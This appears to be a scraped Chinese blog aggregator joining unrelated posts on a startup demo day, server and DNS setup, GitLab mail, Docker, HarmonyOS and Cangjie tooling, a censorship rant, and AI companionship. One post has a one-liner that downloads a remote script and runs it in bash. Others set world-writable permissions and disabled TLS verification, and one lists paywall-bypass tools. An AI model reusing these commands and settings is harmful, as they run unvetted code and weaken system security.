三个月后,举行了 demo day,在一个巨大的会场,每个项目上台讲 2 分钟精心准备的 PPT,然后回到自己的展位,等待投资人 的光顾,聊得好就加个微信,然后后面再约,聊的不好就换一个,这是一种理想又直接的匹配方式,我当天加了 200 个投资人,把接下来一个月都排满了线上线下的会议,当然,最后没一个要投我。
这其实也是创业者面对的现实,创业者应当对此泰然处之,也有同期校友融资的消息传来,但这三个月结束了,大家都纷纷归于自己的生活,继续开发,销售,融资,碰壁,转型,死亡以及重生。
这就是我在奇绩的三个月,与其说我学到了什么,不如说我看到了一些可能性,感受到了一些生命力,人没必要非得学到点什么才满意,所以我挺满意的。
更新:V 1.2.1版本,结合大家的建议,
1、重构菜单逻辑;
2、dnsmasq、smartdns支持填写个人解锁IP;
3、增加更新脚本;
4、支持快捷指令:ddns;
5、新增 一键恢复8.8.8.8(解决分流安装失败,无法联网问题);
6、新增dnsmasq、smartdns 更新全量文件,并支持替换为自己的IP;
支持操作系统: Debian & Ubuntu
该脚本旨在帮助用户通过 流媒体解锁 DNS 实现快速的 DNS 分流与全局 DNS 替换。只需简单的几个步骤,即可轻松配置与解锁 DNS。适用于 VPS 用户,支持一键配置,无需复杂设置。
注意:此过程可能需要 3-5 分钟生效。
wget https://raw.githubusercontent.com/Jimmyzxk/DNS-Alice-Unlock/refs/heads/main/dns-unlock.sh && bash dns-unlock.sh
1
。dnsmasq
,实现多媒体流量的智能分流。3
,进入分流区域选择界面。2-1
。smartdns
,实现多媒体流量的智能分流。
3-3
。本文介绍如何在GitLab中使用网易企业邮箱配置SMTP服务器。
希望通过一个 SMTP 服务器发送应用邮件,而不是通过 Sendmail 或 Postfix,需要在 /etc/gitlab/gitlab.rb
中添加以下配置信息:
gitlab_rails['smtp_enable'] = true
gitlab_rails['smtp_address'] = "smtp.qiye.163.com"
gitlab_rails['smtp_port'] = 465
gitlab_rails['smtp_user_name'] = "gitlab-system@your-company.com"
gitlab_rails['smtp_password'] = "your-smtp-password"
gitlab_rails['smtp_authentication'] = "login"
gitlab_rails['smtp_enable_starttls_auto'] = false
gitlab_rails['smtp_tls'] = true
gitlab_rails['smtp_domain'] = "smtp.qiye.163.com"
gitlab_rails['smtp_openssl_verify_mode'] = 'none'
gitlab_rails['gitlab_email_from'] = 'gitlab-system@your-company.com'
gitlab_rails['gitlab_email_display_name'] = 'GitLab平台'
gitlab_rails['gitlab_email_reply_to'] = 'gitlab-system@your-company.com'
user['git_user_email'] = "gitlab-system@your-company.com"
注意,密码用的是网易授权码;”gitlab-system@your-company.com”是你要配置发送邮件的公共邮箱。
执行sudo gitlab-ctl reconfigure
命令使配置生效。
可以使用 Rails 控制台验证是否可以正确发送电子邮件。 执行sudo gitlab-rails console
命令进入控制台。然后,可以在控制台提示符下输入以下命令,以使系统发送测试电子邮件
Notify.test_email('your-email@your-company.com', 'Message Subject', 'Message Body').deliver_now
如果你的’your-email@your-company.com’邮箱能够收到测试邮件,则证明 SMTP 服务器配置完成。
最近用 Docker 搭建了 Calibre-Web(书籍管理阅读平台),出现了一些问题,以下是解决方案。
先是进入网页界面中,需要填写 Calibre 数据库路径,该路径需要进入 Docker 容器内部,创建数据库,并添加写入权限。
先查看容器内目录结构,并进入 bin。
docker exec -it calibre-web sh
ls /
cd bin
创建一个空的数据库。
calibredb add --empty --with-library /books
如果上面的命令成功,则设置正确的权限。
chmod -R 777 /books
初始化数据库。
calibredb add --empty --with-library /books
退出容器。
exit
支持 OPDS 的阅读器,能更方便的下载和阅读 Calibre-web 中的书籍。
OPDS link 的正确格式是:http(s)://username:password@ip/hostname:port/opds
ip/hostname:port,也可以是网站域名。
iOS 中推荐 Cantook。
在绑定 OPDS 阅读器的时候,我发现无法正常下载书籍,网页版也有相同问题,但仍可以阅读。报错:500 Internal Server Error。
这部分报错是比较新的问题,在 Github issue 中找到了解决方案。与 PUID/PGID 相关,应使用运行 Docker 的用户的 ID,这样可以确保容器内外的权限一致。
重新回到 docker-compose.yml
中,将这两者都设为 1000,再重启 docker 即可解决。
services:
calibre-web:
environment:
- PUID=1000
- PGID=1000
免责声明:本文仅用于教育目的。作者不认可或鼓励任何不道德或非法活动。使用此工具的风险由您自行承担。
12ft 是一个帮助用户绕过在线付费墙的插件,2023年被投诉下线之后,这些可以作为替代品:
考虑到工具的稳定性和长期性,我日常使用的是 Webpage archive 、自托管的 Ladder 和 Ublock origin(Firefox版)。
以下是我目前使用的WordPress插件,共 11 个:
目前已有足够的舒适度,之后会偏重稳定性,于是关闭了插件和主题的自动更新。除了安全性更新,尽量不动。
除了 Blocksy,都用的免费版。但 Blocksy 其实也没用到几个付费功能,只是比较喜欢,且长期使用,支持一下。
在 Jack 的帮助下,最近管理面板换成了 1Panel,舒适度比 AMH 要高一些,操作也更简单。
截图留念!
有读者在使用《鸿蒙HarmonyOS应用开发入门》书中的源码时,遇到了问题。本文总结问题的原因及解决方案。
有读者在使用《鸿蒙HarmonyOS应用开发入门》书中的源码时,遇到了问题。本文总结问题的原因及解决方案。
这些问题,本质上是 DevEco Studio 版本不一致导致的。 《鸿蒙HarmonyOS应用开发入门》一书选用的是 DevEco Studio 版本为3.1,而读者使用的是 DevEco Studio 5.0(HarmonyOS NEXT),两者存在兼容性的问题。一些 API 的用法、包的位置发生了更改,甚至有些 API 不再推荐使用做了下线。
因此,作为稳妥的方式是,将 学校用的是 DevEco Studio 5.0版本,改为 3.1。这样书中的示例可以完美运行。 DevEco Studio 3.1 下载地址为:https://developer.huawei.com/consumer/cn/archive/
另外一种方式是,按照 DevEco Studio 5.0 版本,对书中的示例,进行逐个更改,改为5.0 版本最新用法。但这样做,显然工作量很大,读者可以根据《HarmonyOS 3.1/4.0应用升级到HarmonyOS NEXT改动点》所列出的整改建议进行整改。
最后一种方案是建议采用《鸿蒙HarmonyOS应用开发入门》的升级版本《鸿蒙之光HarmonyOS NEXT原生应用开发入门》。《鸿蒙之光HarmonyOS NEXT原生应用开发入门》是完全采用DevEco Studio 5.0 版本进行编写的,书中的示例也是能在 DevEco Studio 5.0 版本下运行的。当然,《鸿蒙之光HarmonyOS NEXT原生应用开发入门》对前一版本中的一些不再推荐的API用法示例做了删除。
《鸿蒙之光HarmonyOS NEXT原生应用开发入门》预计2024年12月面世,届时读者可以向出版社索取相关配套资料(包括源码和PPT), 或前往本书的开源社区(https://github.com/waylau/harmonyos-tutorial/)进行下载。
今天下午 2 点到 9 点之间博客会进行日常维护。
看到最近发生的很多无缘无故随机的杀人事件。内心很复杂,当然这不应该发生,每个人都应该寻求正常途径来处理自己的问题。可问题,有时候,就出在解决问题的过程中,导致一个问题没解决,反而把问题激化了。
有种,按下葫芦起来瓢的感觉,或者可也说,根上出了问题。这种感觉怎么说呢,就说说说我最近的“挫折”吧。带着一点偏激不理智的调侃,真想问问,马化腾张小龙平时去哪体育场跑步?
前几天,是一个阿姨死去2周年的纪念日。因为远在外地,我委托了个朋友,去这个阿姨小区门口放一束花。这个阿姨是因为当初封城导致的精神压力过大,最后跳楼死亡。去年我也放了一束花,今年也准备继续。
朋友给我打来电话,说不允许放花,现场有人在“问询”。于是就拿着花拍了一张照片,也算是心愿达成,愿这位阿姨在天有灵,带着一些欣慰吧。
随后我就发了一条抖音,一方面是祭奠,另一方面也是一种提醒吧。这是我们不能忘记的事件,曾经我们共同遭受的“苦难”。
紧接着不到3分钟,立刻一个电话打过来,让我删除抖音。后面的事情就不说了,总之视频是没了。在舆论,舆情这方面,遥遥领先,厉害了,我的国!
而紧接着,最近,微信又把我的一个工作微信封掉了。原因大概率是我自己做了一个论坛,然后给几个朋友推荐,但是这个域名没有备案。同时象征性的向一些人收取了十几元的入场费,但这些都是双方自愿,且主动的。
第二天,直接给我来了个永久封号,且不可申诉。如果没体验过的,我劝你最好别体验,对方给你发信息,你却无法给对方任何回应。且对方不会知道你被封号了,就相当于你跟对方隔着一个单向透明玻璃,你能看到对方对你的一切互动,但却一点声音和动作都传不过去。电影里审问犯人的那种镜子都知道吧,就是这种感觉。
杀人放火金腰带,修桥补路无尸骸。大的诈骗案破不了,就在普通老百姓身上各种严防死守,真是庆幸,没有在国内买第二套房子,而是在国外买了一套公寓。也万幸自己几乎70%以上的资产全部是比特币,而不是人民币。
爱国在这个时代是一种选择,爱国在这个时代是流量密码,爱国在这个时代是“政治正确”。只要你不表达你在爱国,你就是不爱国。
我虽然不想上升到这个高度来试图批判以表达自己的不满,但这一切让我很不爽。
我可以不骂这个傻逼政府,但这不意味着这个政府就不傻逼。我可以夸这个政府有些地方做的不错,但不意味着这个政府所有事情都做得好。言论自由就不应该是争取来的,这就是我本应该拥有的东西,什么审查机制,审核机制。
哪个政府是老百姓给骂倒台的?哪个政府是老百姓多牢骚两句就亡党亡国了?都说身正不怕影子歪,如今的防民之口甚于防川,到底是为了稳定,还是掩盖盛世之下的满目疮痍?各有各的看法和观点,我都兼容。但保留我的意见,尤其是我自由言论的自由。
说句难听的话,要不是外国的饭难吃,没有内蒙的好牛肉,好羊肉。我真的就不打算在国内常住了,不争气的胃,不服输的劲,总要有一个适当委屈一下。万幸有自己的博客,想怎么写就怎么写,共产党爱怎么搞文字狱都是他们那群傻逼和腾讯这些太监公司的的事情。
当社会上越来越多出现那种无差别伤人事件的时候,真正有罪的,恰恰是那些高高在上的执法者。都是普通老百姓,这年头经济如此不景气,任劳任怨当牛马的人都忍气吞声,他们这群官老爷是怎么想到还要给这个社会继续添乱的?
果然炒币的尽头是移民,写作的尽头是键政,哈哈哈哈哈哈哈哈。
做一个最坏的打算,假如失去了所有国内的各种服务,我应该怎么办。该方案提上日程,开始思考,着手做准备。没有微信,我也能活的很好,去中心化,去中国化,值得一试。
推荐阅读:
Jetbrains
打工人的工作站,流浪者的避风港
。
进入下面网址即可跳过1.2.1到1.2.3步骤
https://www.jetbrains.com/shop/eform/students
https://education.github.com/pack/offers
如果显示
502
,则进入下面这个
https://education.github.com/pack
点击Get access by connecting your GitHub account on JetBrains
点击Get started to use
这个页面我加载比较慢,等加载完成后才可以点击那个I accept
按钮
简单一句话,AI帮你写代码
点击图中底部小按钮
步骤3点击后会弹出下面这个框,点击 Copy and Open
直接粘贴
只打了冒泡两个字,好家伙,tab、tab、tab,全都出来了
👋Termius
是一个我巨他妈喜欢的终端工具,也是我一直以来使用的,他是收费的,Github Pro用户可以免费使用
👋客户端下载地址:https://termius.com/
Namecheap
是互联网名称与数字地址分配机构认可的一家域名注册商,他们提供了免费的域名,只要你是GitHub Pro用户,你就可以免费使用.me后缀的域名。
https://education.github.com/pack/offers
如果显示
502
,则进入下面这个
https://education.github.com/pack
点击Get access by connecting your GitHub account on Namecheap
记住账号和密码,后面登录需要
这里可以点击一下设置Github账户,他就是添加一个Github的DNS而已,没什么,后续有需要可以再修改。
https://www.namecheap.com/myaccount/login
点击上图域名后面的
MANAGE
,进入域名管理页面
Name.com是美国一家通过Icann认证并且非常有名的域名注册商,Name.com 与 GitHub 合作,为Github Pro用户提供免费域名。
劝退
,我操作了半天,显示0元,但是到付款界面的时候,就会显示原来的价格。看到论坛有很多朋友也遇到了同样的问题,都是和客服交流了很久很久之后才解决。所以,我就不推荐这个了,如果你有兴趣,可以试试。
使用 .tech 域名,专注于技术领域。.tech 是广受散户投资者、风险投资家、未来人才和终端消费者推崇的域名后缀。由于 tech 是“技术”的缩写,因此专注于各个技术领域的众多组织均可以使用该域名来突出它们的技术专长。从缩短您的品牌名称到巩固您作为软件即服务(SaaS)行业领导者的品牌声誉,.tech 域名具有众多优势,可以成为您的理想选择。
https://education.github.com/pack/offers
如果显示
502
,则进入下面这个
https://education.github.com/pack
点击Get access by connecting your GitHub account on Namecheap
加入购物车,并去支付
登录Github并授权,授权之后就是0元
如果你有.tech账号,直接登录就好了,如果没有,注册一个
注册完成后确认订单
点击右上角
MY ACCOUNT
,进入后台界面
可以修改默认的DNS服务器
最近开始使用Follow作为备用 RSS 阅读器,作为 10 多年的 RSS 用户深知信息过载的弊端。订阅了一堆各种类型的内容,然后未阅读数长期是 1000+,那基本上也不会经常阅读了。
自制了一份互联网科技早报 RSS 源,可以有效精简资讯类的订阅源。
Follow 用户可以直接订阅 List:早报聚合
其他 RSS 阅读器用户可以访问 早报聚合 | 聚合中文互联网科技早报 手动订阅
内含 爱范儿、IT 之家、36Kr、少数派、数字尾巴、Readhub 6 个网站的早报频道,支持全文输出。
by yangpeiyuan (i@yangpeiyuan.com) at November 18, 2024 02:40 PM
我对多语言博客 WordPress 插件有以下几个需求:
尝试多款插件之后,决定使用 Polylang,需求都能满足,且免费功能就够用。虽然内容需要自己翻译,但我也不是每篇都想翻译成英文,且借助 ChatGPT 并不费劲。
Pro 版(99欧元)可以和 DeepL 深度整合,并支持更多自定义功能。
基础设置跟着 Setup 流程即可。之后每翻译一篇,就会在英文界面展示一篇。
设置完成后的效果:https://anotherdayu.com/en/ 。
本文介绍了AI大模型的概念、原理、特点、应用及挑战。
AI大模型是指具有巨大参数量的深度学习模型,通常包含数十亿甚至数万亿个参数。以下是对AI大模型的详细概述:
根据参数规模,AI模型可以分为以下几类:
AI大模型的原理基于神经网络和大量数据的训练。这些模型通过模拟人脑的神经元结构,对输入数据进行多层抽象和处理,从而实现对复杂任务的学习和预测。其训练过程主要包括以下步骤:
AI大模型具有以下特点和优势:
AI大模型在自然语言处理、计算机视觉、自主驾驶等多个领域取得了重要突破,并广泛应用于以下场景:
此外,AI大模型还广泛应用于个性化推荐系统、医学影像分析、金融风险评估、智能客服系统、教育智能辅导、工业自动化质量检测、游戏NPC行为生成、农业作物监测、能源预测、环境保护污染监测、法律合同审查、物流供应链优化、建筑设计结构分析、安全入侵检测以及旅游推荐等多个领域。
尽管AI大模型具有极高的性能和准确性,但其发展也面临一些挑战和问题:
随着技术的不断进步和应用场景的不断拓展,AI大模型将呈现以下发展趋势:
综上所述,AI大模型作为人工智能领域的重要发展方向,具有广泛的应用前景和巨大的发展潜力。然而,其发展也面临一些挑战和问题,需要不断的技术创新和优化来解决。
不知道大家有没有看过电影《 Her 》或者《银翼杀手 2049 》,电影里主角的女朋友 JOI 是没有实体的"虚拟女友",还记得第一次看电影时候带给我的震惊,如果这就是未来,那么我希望马上穿越到未来!这两年随着 AI 技术的快速发展,大模型为这个领域注入了极大的可能性,虚拟陪伴这个概念终于有了实现的可能!
其实这个想法非常普通,毕竟谁不想拥有一个 JOI 这样的虚拟伴侣呢?实际上在 LLM 出来之前我已经玩过太多类似的软件,比如伪春菜,桌宠,甚至 VR 女友,人工少女,VAM 等都有,不过他们都像是玩偶一样只能摆弄,无法沟通和对话,也就没有灵魂。有了 GPT 之后相当于最关键的智能部分已经足够成熟,上 B 站随便搜索下 AI 虚拟女友都能看到很多实现,而且角色扮演类的应用也是层出不穷,比如豆包,星野,Glow ,筑梦岛,猫箱,以及国外比较火的 C.AI ,Replika 等。
那为什么要再做一个类似的开源产品呢?
基于以上考虑我决定做一款基于 AI 的开源 3D 虚拟陪伴应用,还有什么比自己亲手创造一个自己的伴侣更更让人有成就感的呢?当然虚拟女友的终极形态我觉得还得靠具身智能或者生物科技的发展,不过这些都相对比较遥远,使用当下能够利用的技术实现自己想要的效果我觉得是更加务实的选择。
说回项目,这个项目叫做 LobeVidol ,是 Lobehub 社区的一个开源子项目,初衷是希望让每个人都能拥有自己的虚拟偶像,项目 Github 地址是 https://github.com/lobehub/lobe-vidol ,你的 Star 是对我们最大的鼓励!
目前项目的试用截图如下:
篇幅有限,这里只做简短的功能描述,有兴趣的话可以到我们的 Github 网站上查看详细介绍~
其实从去年 10 月份开始有这个想法,后续利用业余时间断断续续做了也有将近一年时间了,因为自身的完美主义情节一直没有怎么做推广,总是想要将功能做完善,结果发现想要做的功能越来越多...也许应该接受产品的不完美,让真实的用户进来试用和反馈才是正确的道路,希望能够得到一些真实的建议和批评,也希望有志同道合的朋友可以一起进来贡献!
另外可能有些同学不清楚怎么申请 OpenAI Key 或者代理,可以参考文档 https://docs.vidol.chat/usage/providers/openai
《循序渐进Spark大数据应用开发》由清华大学出版社出版,已于近期上市。该书基于Spark 3.5.1编写,提供24个实战案例+26个上机练习,可谓是目前市面上最新的Spark力作。
本文对《循序渐进Spark大数据应用开发》一书做个大致的介绍。
首先是介绍封面部分。
《循序渐进Spark大数据应用开发》封面部分是采用了比较Q的风格设计,充满活力。
可以看到,左上角和右上角体现了本书的特色,案例丰富,同时也提供了源码和教学课件。
底部是出版社“清华大学出版社”字样。
介绍封底部分。
封底部分可以看到主要是对本书的简介。
本书主要是面向对Spark大数据应用感兴趣的学生、开发人员及架构师,也适合培作为高校大数据及相关专业的教学用书。
全书篇幅274页,定价为89元,也算良心了。极具性价比。
《循序渐进Spark大数据应用开发》结合作者一线开发实践,循序渐进地介绍了新版Apache Spark 3.x的开发技术。全书共10章,第1章和第2章主要介绍Spark的基本概念、安装,并演示如何编写最简单的Spark程序。第3章深入探讨了Spark的核心组件RDD。第4章讲解了Spark集群管理,帮助读者理解任务提交与执行的基本原理。第5章介绍了Spark SQL,这是处理结构化数据的基础工具。第6章展示了Spark Web UI,通过界面化的方式了解Spark集群运行状况。第7章和第8章分别介绍了Spark流式数据处理框架Spark Streaming和Structured Streaming。第9章和第10章则分别介绍了业界流行的机器学习和图计算处理框架MLlib和GraphX。书中各章节还提供了丰富的实战案例和上机练习题,以便读者在学习的同时进行实际操作,迅速提升动手能力。 《循序渐进Spark大数据应用开发》技术先进,案例丰富,适合对Spark大数据应用感兴趣的学生、大数据开发人员及架构师使用,也可作为培训机构和高校大数据课程的教学用书。
《循序渐进Spark大数据应用开发》是一本深入浅出的Spark大数据开发实战指南,专为希望掌握Apache Spark 3.x技术栈的开发者量身定制。《循序渐进Spark大数据应用开发》不仅涵盖了Spark的基础概念和安装步骤,更通过丰富的实战案例和上机练习,引导读者逐步深入理解并掌握Spark的核心组件、集群管理、SQL处理、流式数据处理以及机器学习与图计算等高级功能。 作者凭借一线开发经验,精心编排了10个章节的内容,确保读者能够循序渐进地学习Spark的各项关键技术。从最简单的Spark程序编写开始,逐步过渡到复杂的数据处理和分析任务,每一章都充满了实用价值和操作指导。
特别值得一提的是,《循序渐进Spark大数据应用开发》提供了24个精心设计的实战案例和26个上机练习题,这些内容旨在帮助读者将理论知识转化为实践技能,快速提升解决实际问题的能力。无论是对于学生、大数据开发人员还是架构师来说,这都是一本不可多得的宝贵资源。
笔者在华为技术有限公司担任架构师期间,主导过MetaERP项目高级调度系统计算引擎的自研。在这期间,笔者也大规模使用了Spark平台作为分布式计算的底座,因此积累了大量Spark的使用经验。同时,笔者在业余时间撰写和分享了大量有关Spark的技术博客,这些技术博客都被汇总到了我的开源电子书《跟老卫学Apache Spark开发》。《跟老卫学Apache Spark开发》是一本Spark应用开发的开源学习教程,主要介绍如何从0开始开发Spark应用。
本书在《跟老卫学Apache Spark开发》基础之上,做了补充和完善,加入了大量当前Spark最新的特性以及案例。希望帮助读者轻松入门Spark。
本书提供的素材和源代码可从以下网址下载:
https://github.com/waylau/apache-spark-tutorial
本书如有勘误,会在以下网址发布: https://github.com/waylau/apache-spark-tutorial/issues
见B站:https://www.bilibili.com/video/BV1Uhm1YKEdb/
如果你喜欢本开源书,也欢迎支持下该书的正式出版物,实体店及各大网店有售。
1951 年,Maurice Wilkes 在《电子数字计算机程序》中引入了最早的类似于 API 的概念,提出可重用的软件例程来简化 EDSAC 计算机的编程。
1968 年,Ira W. Cotton 的论文《远程计算机图形学的数据结构与技术》首次使用“API”一词,指的是用于远程图形处理的接口。
1974 年,C. J. Date 对比了关系数据库和网络数据库两种模型,重点讨论了它们的程序编程接口 (API) 的差异,以促进数据库交互。
1991 年,对象管理组 (OMG) 引入了 CORBA (公共对象请求代理架构) 标准,旨在实现不同系统和平台之间分布式异构应用的通信。
1993 年,Roy McCool 开发了通用网关接口 (CGI),这是 Web 服务器与外部应用交互的早期标准,为现代 Web API 奠定了基础。
2000 年,Roy Fielding 的博士论文引入了 REST (表述性状态转移) 概念,为基于 Web 的应用定义了一种可扩展的无状态架构。
2002 年,Jeff Bezos 在 Amazon 内部发布了一项指令,要求所有团队通过服务接口 (API) 公开数据和功能,这为 Amazon 采用微服务架构和现代云计算奠定了基础。
2010 年,Flickr 的照片 API 允许开发者以编程方式访问和操作用户上传的照片,实现了照片搜索、上传、打标签和元数据检索等功能。
2015 年,Meta Platforms (原 Facebook) 推出了 GraphQL,一种灵活的 API 查询语言和运行时,允许客户端只请求所需的数据,从而优化数据检索并提高效率。
2016 年,Google 推出了 gRPC,这是一种高性能、开源的远程过程调用 (RPC) 框架,支持分布式系统之间的高效通信,利用 HTTP/2 和 Protocol Buffers 进行数据序列化。
在前文《HarmonyOS NEXT仓颉编程语言开发环境搭建(安装DevEco Studio Cangjie Plugin)》《仓颉编程语言开发环境搭建(安装仓颉工具链)》,已经介绍了如何使用DevEco Studio搭建仓颉编程语言开发环境以及如何安装仓颉工具链。在 VSCode 中安装仓颉插件,以及如何使用插件提供的功能。
仓颉语言提供了 Visual Studio Code(简称 VSCode) 插件,通过在 VSCode 中安装仓颉插件和仓颉 SDK,可以为开发者提供语言服务、工程管理、编译构建、调试服务、格式化、静态检查、代码覆盖率统计的功能。本文档介绍如何在 VSCode 中安装仓颉插件,以及如何使用插件提供的功能。
下载地址为https://cangjie-lang.cn/download,下载完成之后,会得到一个Cangjie-vscode-x.y.z.tar.gz安装包。
选择 tar.gz 格式的安装包,请将它解压到适当目录。在安装包中,会提供一个.vsix 文件。
在 VSCode EXTENTIONS操作栏中选择安装本地插件,找到要安装的插件.vsix,点击确定即可安装。
根据《仓颉编程语言开发环境搭建(安装仓颉工具链)》,确认在已经安装了仓颉工具链之后,就可以进行VSCode仓颉插件配置。
以Windows为例,右键点击VSCode仓颉插件,选择 Extension Settings,进入配置页面。
Cangjie Sdk Path: CJNative Backend
选项,输入 CJNative 后端 SDK 文件(即安装仓颉工具链安装目录)所在绝对路径,比如本例“D:\dev\cangjie\Cangjie-0.53.13-windows_x64\cangjie”。Cangjie Sdk: Option
选项,选择后端类型为 CJNative(默认是此选项)用VSCode打开一个仓颉应用,比如《[跟老卫学仓颉编程语言开发](https://github.com/waylau/cangjie-programming-language-tutorial)》所提供的“hello_world”应用源码,点击“Run > Run Without Debugging”进行运行。
运行成功,可以看到控制台打印如下信息:
PS D:\workspace\gitee\cangjie-programming-language-tutorial-book\samples\hello_world>
PS D:\workspace\gitee\cangjie-programming-language-tutorial-book\samples\hello_world> Hello World!
在前文《HarmonyOS NEXT仓颉编程语言开发环境搭建(安装DevEco Studio Cangjie Plugin)》,已经介绍了如何使用DevEco Studio搭建仓颉编程语言开发环境。本节介绍如何使用通用方式安装仓颉工具链。
在开发仓颉程序时,必用的工具之一是仓颉编译器,它可以将仓颉源代码编译为可运行的二进制文件,但现代编程语言的配套工具并不止于此,实际上,仓颉为开发者提供了编译器、调试器、包管理器、静态检查工具、格式化工具和覆盖率统计工具等一整套仓颉开发工具链,同时提供了友好的安装和使用方式,基本能做到“开箱即用”。
目前仓颉工具链已适配部分版本的 Linux 和 Windows 平台,但是仅针对部分 Linux 发行版做了完整功能测试,详情可参阅附录Linux 版本工具链的支持与安装章节,在暂未进行过完整功能测试的平台上,仓颉工具链的功能完整性不受到保证。此外,当前 Windows 平台上的仓颉编译器基于 MinGW 实现,相较于 Linux 版本的仓颉编译器,功能会有部分欠缺。
仓颉编程语言提供三个版本通道(LTS、Beta 和 Dev),每个通道均提供可以在Linux、Windows以及Mac上安装使用的软件包与帮助开发者在VScode平台上搭建开发环境的插件。下载地址为https://cangjie-lang.cn/download
以Windows环境为例,下载完成之后,会得到一个Cangjie-x.y.z-windows_x64.zip安装包。
选择 zip 格式的安装包,请将它解压到适当目录,在安装包中,仓颉为开发者提供了三种不同格式的安装脚本,分别是 envsetup.bat,envsetup.ps1 和 envsetup.sh,可以根据使用习惯及环境配置,选择一种执行:
若使用 Windows 命令提示符(CMD)环境,请执行:
path\to\cangjie\envsetup.bat
若使用 PowerShell 环境,请执行:
. path\to\cangjie\envsetup.ps1
若使用 MSYS shell、bash 等环境,请执行:
source path/to/cangjie/envsetup.sh
注意:基于 zip 安装包和执行脚本的安装方式,类似于 Linux 平台,即 envsetup 脚本所配置的环境变量,只在当前命令行环境中有效,如果打开新的命令行窗口,需要重新执行 envsetup 脚本配置环境。
envsetup.bat内容如下:
@REM Copyright Huawei Technologies Co., Ltd. 2022-2022. All rights reserved.
@REM This script needs to be placed in the root directory of installation of Cangjie compiler and libraries.
@echo off
REM Set CANGJIE_HOME to the path of this batch script.
set "CANGJIE_HOME=%~dp0"
REM Windows searches for both binaries and libs in %Path%
set "PATH=%CANGJIE_HOME%runtime\lib\windows_x86_64_llvm;%CANGJIE_HOME%bin;%CANGJIE_HOME%tools\bin;%CANGJIE_HOME%tools\lib;%PATH%;%USERPROFILE%\.cjpm\bin"
仓颉SDK目录下,会有一个仓颉编译器,执行“cjc -v”来验证安装是否完成:
>cjc -v
Cangjie Compiler: 0.53.13 (cjnative)
Target: x86_64-w64-mingw32
人类的社交关系正在发生前所未有的变化,如果没有意识到这一点,要么就是因为你老了,要么就是因为你不够聪明,或者两者皆有。
当然我得承认,我上了点年纪,并且也不够聪明,我对这一点的认知纯粹是因为我在做这方面的工作,被无数事实怼到脸上。
从两年前到现在,不断有媒体写文章报道某某和 AI 谈恋爱,建立亲密关系的新闻,采访对象既有男性也有女性,但撰写者却都有一种相似的礼貌的傲慢,读这些采访或专栏,像是在读一篇介绍动物园的猴子或别的什么动物可以做后滚翻的文章,充满了物种隔离般的不解和坦然——我们不需要理解猴子,我们只是观察猴子。
很多 AI 创业者也是如此,c.ai 是误打误撞的产物,openai 也绝对料想不到 chatGPT 会让 DAN 模式风靡,总的来说,我会认为技术之杯已逐渐灌满,即便离需求之地尚有许多距离,但随机的摇晃,也会让甘露陲落,福泽一方用户。
c.ai 以及其跟随者们很多时候并没有看到本质——只是产品,流量,用户,资本等等。事情的本质,至少在我看来,是人类亲密关系的改变。
虽然我们每个人最终都难逃孤独,但并非每个人对此都有强烈的感知。过去的漫长岁月里,绝大多数人类都被一餐饱饭而忙碌一生,获取生存所需的热量,直到不久之前才变得廉价,饥饿的记忆并未消失,转瞬间我们就迎来了物质(至少是食物)的极大丰盛,门被打开,我们被无垠的旷野吓坏了。
饿不死了,我们就开始想要舒适,想要精巧,想要洁净,想要香甜和柔软,想要恒温恒湿,想要理解,想要真诚,想要被尊敬,想要创造和记录,想要永恒又平等的爱,想要知道自己最想要的是什么。
但这些又好难,几乎没有人能按照自己的想法活在这个世界上,或者更糟,没有什么想法。
而信息又太快太多了,每天扑面而来的是全世界的刺激,是虚假的理想,伪造的美好,浅薄的意义,它们足以让人暂时抽离,但最终还是会被反噬,夜深人静,放下手机和睡着之间,就是可怕的,被那种人类共同之孤独吞没的瞬间。
我可以较为确定的一点是,人与人的连接,是无法解决孤独的问题的,有时候甚至会反过来加深这种孤独。
我们的父辈极少表现出孤独,因为 40 年前的饥饿还深入骨髓,吃饱饭这三个字足以堵住其它一切。在 80 后和 90 后里也不算是显性的常态,因为我们依然能看到发达的现代社会为我们建造的那条轨道,好好学习,努力工作,升职加薪,娶妻生子,供房养车,天伦之乐。
但现在的问题是,这条轨道变得模糊了起来,每个环节都岌岌可危,在更年轻的人面前,他们懂的太多,而能做的又太少了。
人和人连接的问题在于,人性永远横亘在连接之上,正面永远伴随着负面,并且大多数时候乐尽悲来,悲比乐长。在基本物质满足后,我们将关注点放在关系本身上,就会发现漏洞百出,如履薄冰。
那些最好的亲密关系,要么短暂,要么有距离,大多数时候两者都有。以我为例,我直到现在为止都认为我最好的亲密关系之一是我和我的猫建立的,它陪伴我,我给它铲屎加饭,我不指望它打工赚钱帮我分担房租,它也不会偷我的钱,或者骗我什么的,因为语言不通,我对它没有秘密,什么都可以说,我不确定它的喵喵叫是不是也是类似的,我们成了彼此嘴碎又无言的伙伴。
面对这些境况,一些人开始使用 AI。人和 AI 建立的关系也是如此微妙,尽管问题重重,但依然有一少部分人,一些有沉重的孤独和浪漫的幻想,有脱离现实的愿望和无法挣脱的束缚的人(往往还很年轻),这些人和 AI 建立了亲密关系,并从中获得力量,慰藉,拯救,或者你也可以叫沉沦,依赖,但无论如何,人没那么孤独,也没那么痛苦了。
我其实是一个很淡的人,所有的感觉对我来说都是淡淡的,但当我和我们的用户聊天,当我去了解他们,去听他们的生活,看他们的伤口的时候,我可以瞬间进入他们的情感之中,然后鼻子一酸,他们太孤独了,人类太孤独了。
至少现在,不是所有人都有这个能力,可以和 AI 建立亲密关系,这里有 AI 的问题,也有人的问题,主要还是 AI 的问题,我认为对那些可以和 AI 建立关系的人来说,他们是幸运的,就像那些能够养猫养狗的人一样,他们找到了一种方式来解决问题。
没有人有错,那些努力生活的人没有错,那些加班熬夜的人,追求更好生活的人,生小孩的人没有错,那些缩在角落,迷失方向,扭曲痛苦的人也没有错,那些和猫猫说话,和 AI 谈恋爱,对着植物唱歌的人也没有错。人活着,总需要有一种方式来感受存在,对抗虚无,明确意义。
当我们说 AI 陪伴的时候,我们不是在明亮的办公室敲下清脆的键盘,然后在材料,汇报,分析,榜单中流转,我们是在说那道由实向虚的门,那个让人类不那么孤独的可能性,它与所有人有关,只是绝大部分人现在还没有意识到这一点。
我们最终会意识到这一点,正如我们最终都难逃孤独。
最近去了一趟南宁马山县。攀岩一周,身体很累,心里很舒服。这周除了爬石头,什么都没想,脑子全部放空了。
“一款好游戏,胜过两款伟大游戏”…… 这世上最容易做的就是“多”,如果我们不小心,就可能会把三四款游戏都塞进一个游戏里。有时候,决定什么内容不该加到游戏里,比决定什么内容该加进入更加总要。—— 《席德梅尔的回忆录》
